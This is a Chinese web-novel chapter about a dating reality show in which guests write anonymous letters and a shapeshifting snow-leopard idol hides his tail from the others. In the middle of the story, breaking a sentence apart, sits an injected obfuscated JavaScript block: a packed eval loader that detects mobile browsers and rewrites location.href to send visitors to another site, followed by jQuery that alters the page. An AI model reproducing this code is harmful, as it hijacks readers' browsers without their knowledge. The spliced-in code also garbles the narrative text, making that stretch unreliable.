夜幕低垂，别墅内暖意融融，与窗外的冰天雪地形成鲜明对比。
精疲力竭的嘉宾们确认了各自的约会对象，休息一个下午之后，齐聚在复古的壁炉装饰旁，等待起晚餐过后的第一个匿名心动投票环节。
这也算是恋综节目的传统，贡献过无数精彩的名场面。
时间截止前，每位嘉宾都需要将一封匿名信投入客厅中央那个装饰精美的信箱中。
随后，由主持人随机抽取并朗读，引导大家以及观众，共同感受字里行间蕴藏的美好感情。
信的主题是表达对某一位嘉宾的好感，但不一定是关于爱情。
友谊、欣赏，也可以成为打动人心的旋律。
在悄然改变的布景的暗示下，微妙而浪漫的感觉已经浸入环境中。
嘉宾们各自散开，寻找私密角落书写心意。有人咬着笔杆苦思冥想，有人嘴角含笑下笔飞快。
温眠选择了二楼露台的一个角落。
玻璃门外是沉沉的夜色和远处城市的灯火，门上映出她沉静的侧影。
她摊开节目组提供的素雅信笺，笔尖悬停片刻。
匿名让她感到了一丝安全。
她不是没有自己的感受和想法，只是习惯将一切深埋。几句想写的话，还是有的。
目光越过一二层之间的挑空，望向楼下客厅，最终落在那抹格外醒目的银灰色身影上。
她提笔，在露台清冷的灯光下，左手扶住信纸，落下一行行清秀的字迹。
专注的书写，自然让温眠无心留意到客厅里，谢凛让工作人员和观众们啼笑皆非的举动。
为了方便直播，大家不能把自己关在房间里。
想钻进书房锁门的谢凛就这样被礼貌地“请”了出来，只好呆坐在客厅里。
他烦躁地抓了抓头发，对着空白的信纸，感觉比面对最难的舞台排练还要棘手。
他倒不是文盲，当雪豹的时候就能看懂人类的文字，当然也能写，不至于在这方面露怯。
但问题是写什么，又写给谁？
憋了好久，他看上去逐渐气急败坏，把笔一摔，又想起在直播，灰溜溜趴到地毯上捡了回来。
接着继续蹂躏自己的头发。
弹幕已经要笑累了。
【哈哈哈哈哈凛神你......】
【差生做作业belike：】
【舞台上无所不能的凛哥也有做不来的事情！写两句话给他为难的哈哈哈！】
其实心里知道自己想写给谁，但该死的偶像包袱和别扭的性格让他不可能承认。
只是为了完成任务罢了。
最终，他赌气般抓起笔，龙飞凤舞地写了两行字，迅速折好塞进信封，仿佛多看一眼都会烫手。
——
信箱很快被填满。
大家零零散散坐到壁炉旁的沙发上，主持人面向他们，姿态轻松地靠着身后柔软的椅子，在众人期待又紧张的目光中，开始抽取信件。
“第一封。”主持人展开信纸，声音温和，“你的画像一首沉默的诗，在色彩里藏着温柔的心事，期待能读懂更多。”
他笑了一下，说：“这个指向性很明确呢，大家觉得说的是谁？”
周围的视线纷纷投向苏蔓。
她脸颊微红，含蓄地笑了笑。
这封充满艺术气息的信，虽然从文采上猜不出是谁写的，但被人赞美总是令人愉悦。
“第二封。活力像阳光，照亮了沉闷的空气，和你在一起，感觉世界都变得简单快乐了。”
同样特征明确，这直白的赞美让林远超不好意思地挠头傻笑，目光瞟向夏薇薇。
夏薇薇则回以一个甜美的笑容，这封信显然出自她手。
“可是我今天没有带你拿下胜利，”林远超有些内疚，“谢谢你没有嫌弃我。”
“怎么会呢，我们的成果全是靠你呀。”夏薇薇眨了眨眼，轻快地说道。
气氛逐渐升温，弹幕也在不断讨论着。
【第一封是谁写的啊！在座的男嘉宾里谁有这种水平吗？】
【啊啊啊夏薇薇和林远超这组好甜！甜美系女神x阳光小奶狗！】
【猜信环节果然永远的神！】
“第三封。”主持人抽出新的信笺，展开。
他眼神微微一亮，声音不自觉地放得更轻柔：“雪原上的专注，像最精准的罗盘，拨开迷雾，直抵深埋的真心。冷冽之下，是对生命最温柔的刻度。很荣幸，曾与你同行。”
这封信的文字细腻、克制，却带着一种沉静的力量和深邃的观察力，瞬间让客厅安静下来。
“很优美的文字。”主持人似乎也细细品味了一下，评价道，“让人感同身受地体会到那份隐藏的温柔。”
【卧槽！这文笔！这描述！】
【“深埋的真心”、“冷冽下的温柔”......这说的是温眠小姐姐吧？！】
【天啊！好会写！把温眠的特质抓得太准了！】
【是谁写的？感觉像女生手笔。】
【肯定不是谢凛！他憋了那么久才想出一两句，写不出这么细腻的话！】
温眠照旧坐在沙发最边缘的阴影里，端着水
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448534|185209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
杯的手指几不可察地收紧了一下。
她也听得出，这封信写的是她。
在自己不知情的地方，有人会用这样的话语来形容自己，这让她很是意外，也有一丝被人“看见”的暖意。
她没有去猜测到底是谁写给自己的，只是无声接下了这份感动，用柔软下来的目光环视了一下，轻轻点头表达感谢。
但她不在意，有人替她在意得很。
谢凛这次没有再刻意坐到沙发另一头的角落，而是随意地在离温眠不远的地方。他听着主持人念出的信，眉头越皱越紧。
这封信......写得还挺好，是谁写给她的？“与你同行”，霍骁吗，但是那富二代能写出这种文字？
还是说，这是其他女嘉宾在表达友善？毕竟严格来讲，今天参与竞争的所有人都能算作一起同行。
他烦躁地在沙发上换了个姿势，一股莫名的酸意涌上心头。
从中午分组时开始，身体里属于猫科动物的不安分因子就已经有点躁动，只不过因为温眠识趣地选择了自己，才按捺下来。
翘起二郎腿的过程中，他下意识在柔软的沙发垫上想要假装甩一下尾巴，本能地以此表达不爽。
然而，就在那微小的动作幅度做出的一瞬间，他心头一惊，意识到不对。
毛蓬蓬的尾巴，在情绪无法平复的情况下，竟然真的甩出来了！
幸好室内光线昏暗，没有开灯，摇曳的火光映照在嘉宾们的脸上，身后的阴影处无人能看见。
一只女性微凉的手，被他的尾巴悄然扫过时，带着熟悉的清冷气息隐蔽地从旁边伸过来，在尾巴尖上轻轻揪了一下。
动作很有分寸地不去触碰神经，更像是提醒。
“！”
他浑身一僵，又不敢当众猛然转头，只好用余光使劲瞥了一眼，撞进温眠清醒的眼眸。
她几不可察地对他摇了下头。
他的脸颊慢慢攀上一抹红，半是羞恼，半是后怕，立刻正襟危坐，像被按了暂停键，再不敢乱动分毫。
只有胸口的心脏还在疯狂地、不规律地跳动着。
其他人并未察觉角落里暗戳戳的小动作。信已经差不多念完，主持人抽出最后一封，从外观上就能看出折得极其敷衍。
展开快速看了一眼后，他不由愣住，语调中带上了忍俊不禁的古怪。
“温眠，今天是你赢了。”主持人顿了一下，似乎在确认自己没有看错，才继续读道，“暂且承认你比我厉害，就一天。”
......
客厅里陷入一片诡异的沉默。